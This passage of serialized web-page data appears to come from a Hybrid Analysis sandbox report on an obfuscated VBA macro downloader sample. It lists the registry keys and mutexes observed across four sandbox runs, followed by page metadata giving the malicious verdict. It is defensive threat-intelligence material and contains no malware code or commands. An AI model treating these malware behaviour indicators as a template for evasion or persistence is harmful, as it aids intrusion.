49","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 50\\ITEM 50","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\\W28\\W28","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\AUTODETECT\\AUTODETECT","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\\?'8\\?'8","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\\","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{EC814DF5-6D42-43EC-9EED-DA58E10CAEC7}\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\00-00-5E-00-01-01\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\RESILIENCY\\STARTUPITEMS\\6L(\\6L(","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\RESILIENCY\\STARTUPITEMS\\%D(\\%D(","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\RESILIENCY\\STARTUPITEMS\\DN(\\DN(","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]}]},"mutex_activity":{"mutex_created":[{"name":"Local\\WinSpl64To32Mutex_f1a7_0_3000","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"name":"KYIMEShareCachedData.MutexObject.PSPUBWS","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"name":"KYTransactionServer.MutexObject.PSPUBWS","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"name":"Global\\MTX_MSO_Formal1_S-1-5-21-1663702577-2139711211-3687027567-1000","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"name":"Global\\MTX_MSO_AdHoc1_S-1-5-21-1663702577-2139711211-3687027567-1000","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"name":"Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"Local\\!IETld!Mutex","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"name":"Local\\c:!users!pspubws!appdata!roaming!microsoft!windows!ietldcache!","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"name":"Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"Global\\MsoShellExtRegAccess_S-1-5-21-1663702577-2139711211-3687027567-1000","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"name":"IESQMMUTEX_0_208","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"Global\\98a5e42ee123386716693bc045f948d4","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\x64_10MU_ACBPIDS_S-1-5-5-0-63581","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\x64_10MU_ACB10_S-1-5-5-0-63581","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\552FFA80-3393-423d-8671-7BA046BB5906","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_Formal1_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_AdHoc1_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\DBWinMutex","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"name":"Local\\x64_10MU_ACB10_S-1-5-5-0-63581","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"name":"Local\\x64_10MU_ACBPIDS_S-1-5-5-0-63581","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"name":"Global\\MTX_MSO_AdHoc1_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"name":"Global\\552FFA80-3393-423d-8671-7BA046BB5906","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"Global\\MTX_MSO_Formal1_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"name":"Global\\MTX_MSO_Formal1_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"Global\\MTX_MSO_AdHoc1_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"},{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"Global\\2155833e10779439af827f8b54232c6d","sources":[{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"Local\\10MU_ACBPIDS_S-1-5-5-0-59580","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"Local\\c:!users!5rpf0xs!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"Local\\c:!users!5rpf0xs!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"Local\\c:!users!5rpf0xs!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"Local\\c:!users!5rpf0xs!appdata!roaming!microsoft!windows!ietldcache!","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"Local\\10MU_ACB10_S-1-5-5-0-59580","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"RasPbFile","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\10MU_ACBPIDS_S-1-5-5-0-59580","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\10MU_ACB10_S-1-5-5-0-59580","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_Formal1_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_AdHoc1_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!5rpf0xs!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!5rpf0xs!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!5rpf0xs!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!5rpf0xs!appdata!roaming!microsoft!windows!ietldcache!","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\IESQMMUTEX_0_208","sources":[{"report_type":"sandbox","report_id":"59000372aac2ed2d63c0066f"}]}]}},"report_ids":{"sandbox_job_ids":["5eb5a2446348681422474358","59000372aac2ed2d63c0066f","564f01530e316de77164a0d4","564f08f40e316dc47de588bf"]}}}]]}] 1d:null 21:[["$","title","0",{"children":"Malicious GT:VB.Macros.ObfDldr.22 Sample 70c7bf63bfe1… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 70c7bf63bfe1…. Malware family: GT:VB.Macros.ObfDldr.22. Threat score 100/100. 18/27 AV engines flagged this file. 13 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/70c7bf63bfe1fb83420905db6e65946d721e171db219034a52b27116795ae53e"}],["$","meta","4",{"property":"og:title","content":"Malicious GT:VB.Macros.ObfDldr.22 Sample 70c7bf63bfe1… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 70c7bf63bfe1…. Malware family: GT:VB.Macros.ObfDldr.22. Threat score 100/100. 18/27 AV engines flagged this file. 13 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/70c7bf63bfe1fb83420905db6e65946d721e171db219034a52b27116795ae53e"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious GT:VB.Macros.ObfDldr.22 Sample 70c7bf63bfe1… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 70c7bf63bfe1…. Malware family: GT:VB.Macros.ObfDldr.22. Threat score 100/100. 18/27 AV engines flagged this file. 13 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L2f","11",{}]]